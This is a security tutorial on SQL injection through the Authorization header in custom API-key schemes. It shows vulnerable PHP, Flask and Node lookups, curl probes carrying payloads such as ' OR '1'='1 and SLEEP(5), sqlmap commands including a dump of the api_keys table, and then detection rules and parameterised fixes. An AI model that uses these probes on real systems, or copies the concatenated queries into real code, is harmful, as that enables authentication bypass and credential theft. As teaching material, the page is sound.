Authorization header SQL injection is the case where a custom authentication scheme reads the value of the Authorization header and concatenates it into a database lookup, usually to find which API key (or which user) the token belongs to. JWT-based auth is mostly safe from this because the validation step builds a typed claim before any database lookup happens. Hand-rolled API key schemes are not, and they are over-represented in real-world findings.
This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map.
In short: Authorization-header SQL injection is the case where a custom authentication scheme reads the
Authorizationheader value and concatenates the token portion into a database lookup, usuallySELECT user_id FROM api_keys WHERE token = '...'. JWT-based auth is mostly safe because the signature verification step builds a typed claim before any database touch. Hand-rolled opaque-token API key schemes are not. The exploit is a curl request with-H "Authorization: Bearer ' OR '1'='1"which often returns the first row ofapi_keys(frequently the admin's key), giving the attacker authenticated access without owning a valid token. The fix is parameterise the lookup, validate the token against its expected alphabet before the database call, and migrate to signed tokens (JWT or paseto) for new code. sqlmap tests this with--headers='Authorization: Bearer 12345*'.
Why custom token schemes are the dangerous case
A JWT is self-describing: the validation step verifies the signature against a known key, decodes the claims, and produces a typed user identifier (UUID, integer, email). The database lookup that follows uses the typed identifier, not the raw header. Even if a developer concatenates the user ID, the value has already been narrowed by validation.
A custom API key scheme typically works like:
- Client sends
Authorization: APIKey 9c7e3a.... - Server extracts the token portion.
- Server queries
SELECT user_id FROM api_keys WHERE token = '${key}'. - Server uses the returned
user_idfor the rest of the request.
Step 3 is the bug. The token portion of the header is raw bytes from the client, and the lookup concatenates rather than parameterises. There is no signature, no claim, no typing step in between.
Where does Authorization-header SQL injection actually show up?
- Hand-rolled API key authentication. The dominant case.
- Custom bearer-token schemes that use opaque tokens rather than JWTs (Stripe-style
sk_live_...keys, GitHub-styleghp_...tokens). These tokens get looked up in a database; the lookup is the candidate. - Session-token-by-Authorization-header when the auth flow is non-cookie-based (mobile apps, SPAs that send the session as a Bearer). If the lookup is hand-rolled rather than framework-provided, same bug.
- Authorization logging. Any audit-log code that writes the raw Authorization header to a database. Even when the lookup itself is safe, the logger may not be.
The first two cover ~90% of the real exposure.
The vulnerable code
PHP, the classic API-key case:
$auth = $_SERVER['HTTP_AUTHORIZATION'] ?? '';
if (!preg_match('/^APIKey\s+(.+)$/i', $auth, $m)) {
http_response_code(401);
exit;
}
$key = $m[1];
$result = mysqli_query($conn, "SELECT user_id FROM api_keys WHERE token = '$key'");
$user = mysqli_fetch_assoc($result);The regex extracts the token; the lookup concatenates it. Bug.
Python with Flask:
auth = request.headers.get('Authorization', '')
if not auth.startswith('Bearer '):
return jsonify({'error': 'unauthorized'}), 401
key = auth[len('Bearer '):]
row = db.execute(
f"SELECT user_id FROM api_keys WHERE token = '{key}' AND revoked = 0"
).fetchone()Node.js with Express:
const auth = req.headers.authorization || '';
const match = auth.match(/^Bearer\s+(.+)$/i);
if (!match) return res.sendStatus(401);
const key = match[1];
const result = await pool.query(
`SELECT user_id FROM api_keys WHERE token = '${key}'`
);Why developers think it's safe
- "The token is opaque, no SQL syntax could fit." Anyone can send anything in the header. The token is whatever the attacker types, not whatever the legitimate client owns.
- "Invalid tokens just return 401, what could go wrong?" The query runs before the 401 is returned. An attacker sending a SQL-payload-shaped token gets the payload executed before the auth check fails.
- "We hash the tokens, so the database stores hashes, not raw tokens." Hashing the STORED token does not affect the LOOKUP query. If you do
SELECT ... WHERE token_hash = SHA256('${key}'), the${key}still gets concatenated before hashing happens at the database level. - "Bearer auth is standard, it must be safe." RFC 6750 defines the protocol. It does not write your database code.
How do you test Authorization for SQL injection by hand?
Boolean probe:
# Baseline (any valid-looking token)
curl -s -o baseline.json \
-H "Authorization: Bearer aaaaaaa" \
"https://api.target.example/v1/me"
# Probe
curl -s -o probe.json \
-H "Authorization: Bearer ' OR '1'='1" \
"https://api.target.example/v1/me"
diff baseline.json probe.json | headIf the probe response differs (gets a 200, returns a user object, returns a different error), the field is in a SQL context. A particularly bad failure mode: the ' OR '1'='1 payload makes the lookup return the first row in the table, effectively authenticating you as user 1 (often an admin).
Error-trigger:
curl -i -H "Authorization: Bearer '" \
"https://api.target.example/v1/me" 2>&1 | head -20A 500 with a stack trace is a strong signal.
Time-based:
curl -w "\n%{time_total}\n" \
-H "Authorization: Bearer x' AND SLEEP(5)-- -" \
"https://api.target.example/v1/me"5+ second response confirms it.
For the auth-bypass case (often the real impact), try the classic OR-1=1 in the token slot and observe whether you get an authenticated response without owning a valid token. This is the headline finding in any bug-bounty writeup of this class.
What is the sqlmap command for Authorization-header injection?
The header path with an explicit injection-point marker:
sqlmap -u "https://api.target.example/v1/me" \
--headers="Authorization: Bearer 12345*" \
--batchThe * after the token tells sqlmap to inject there. Replace Bearer with whatever scheme the target uses (APIKey, Token, custom).
For a custom-header API key (X-API-Key rather than Authorization):
sqlmap -u "https://api.target.example/v1/me" \
--headers="X-API-Key: 12345*" \
--batchThe discovery path:
sqlmap -u "https://api.target.example/v1/me" \
--level=5 --batch --random-agent--level=5 tests Authorization along with the rest of the common headers per the sqlmap official Usage wiki.
A useful trick once injection is confirmed: many custom-token schemes have a users table joined to api_keys. Dump both to identify which user the keys belong to:
sqlmap -u "https://api.target.example/v1/me" \
--headers="Authorization: Bearer x*" \
--batch \
-D api_db -T api_keys --dumpSee the sqlmap cheat sheet for the full enumeration flow.
Detection signals
- Authorization values containing non-token characters. Most token formats are restricted to a known alphabet (alphanumeric, dash, underscore, dot, equals for base64). Anything containing single quotes, comment markers, or SQL keywords is exploitation.
- Authorization values that change shape from request to request. A legitimate token is stable for a session. A series of similar-but-different Authorization headers from one source is binary-search extraction in progress.
- Repeated 401 responses followed by a sudden 200 without a successful auth flow. That is the moment the SQL injection succeeded in returning a row.
- The standard
information_schemarule.
A high-leverage rule: validate the token's shape (regex against the expected alphabet and length) BEFORE running any database lookup. Reject malformed tokens at the validation layer. This rule catches every exploitation payload because no exploitation payload matches a realistic token alphabet.
How do you defend against Authorization-header SQL injection?
Parameterise the lookup. Same rule. Python:
row = db.execute(
"SELECT user_id FROM api_keys WHERE token = ? AND revoked = 0",
(key,)
).fetchone()Validate the token alphabet before the lookup. API keys have a known shape. Validate against it:
import re
TOKEN_RE = re.compile(r'^[A-Za-z0-9_-]{16,128}$')
def parse_token(auth_header):
if not auth_header.lower().startswith('bearer '):
return None
token = auth_header[len('Bearer '):].strip()
if not TOKEN_RE.match(token):
return None
return tokenThe regex rejects anything containing payload characters, before the database is touched.
Constant-time lookup if you store hashes. If you hash tokens before storage (good practice), do the comparison in constant time and parameterise the hash lookup, not the raw token. The shape:
import hashlib
token_hash = hashlib.sha256(token.encode()).hexdigest()
row = db.execute(
"SELECT user_id FROM api_keys WHERE token_hash = ? AND revoked = 0",
(token_hash,)
).fetchone()The application computes the hash; the database compares hashes. The raw token never touches a query string.
Migrate to signed tokens (JWT or paseto) for new code. The signature validation step constructs a typed claim before any database touch. The database lookup uses the typed user ID. Different vector, different code, same parameterisation rule but with a much smaller injectable surface.
Defence at the infrastructure level
- API gateway token validation. Many API gateways validate JWT signatures and Bearer tokens against an introspection endpoint, rejecting malformed tokens before the backend sees them.
- WAF rules on Authorization header content. Block obvious payload patterns. Defence in depth.
- Least-privilege database user for the auth path. The token-lookup query needs SELECT on
api_keysand JOIN tousers. Nothing else. Definitely noinformation_schema.
Common defence mistakes
- Parsing the scheme prefix (
Bearer) and considering the token portion clean. The scheme parse does nothing for the token's content. - Constant-time string comparison on the raw token without parameterising the lookup. Constant-time comparison prevents timing-based token enumeration; it does not prevent SQL injection in the lookup.
- Logging the raw Authorization header for debugging. Audit logs that store the header verbatim are a second-order injection target (and they leak credentials).
- Treating "API key auth" as inherently safe. The bug is in your code, not in the concept.
Real-world incidents
- CVE-2026-42208, LiteLLM is the canonical Authorization-header SQL injection of the current cycle. LiteLLM's authentication path read the value of the
Authorization: Bearerheader and concatenated the token portion into a SELECT against the PostgreSQL backend, with no parameterisation. Pre-authentication: any attacker who could reach the LiteLLM proxy could issue arbitrary SELECT statements without credentials. The first exploitation attempt was recorded 26 hours after the GitHub advisory was indexed; CISA added it to the Known Exploited Vulnerabilities catalog on May 8, 2026, with a three-day remediation deadline for federal agencies. Fixed in version 1.83.7-stable. (Sysdig analysis, Hacker News coverage) - Hand-rolled API key schemes in custom SaaS backends recur in private bug-bounty reports more than in public CVEs (because the affected applications are not widely deployed enough to attract CVE IDs), but the LiteLLM incident is a high-profile example of the exact pattern: a self-rolled bearer scheme querying a tokens table by raw header value.
Where to go next
- Cookie SQL injection, the related session-token case
- User-Agent SQL injection, the highest-volume header vector
- HTTP request vector map, the parent listicle
- SQL injection deep dive, the spoke with the variant taxonomy
- sqlmap cheat sheet for the full flag reference
Sources
Authoritative references this article was fact-checked against.
- OWASP, SQL Injectionowasp.org
- RFC 6750: The OAuth 2.0 Authorization Framework: Bearer Token Usagedatatracker.ietf.org





